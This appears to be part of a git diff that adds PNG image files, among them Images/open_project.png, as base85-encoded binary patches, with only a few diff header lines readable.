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 literal 0 HcmV?d00001 diff --git a/Images/open_project.png b/Images/open_project.png new file mode 100644 index 0000000000000000000000000000000000000000..43f2a175320e347bf502bb54ff0303ce20230124 GIT binary patch literal 51979 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 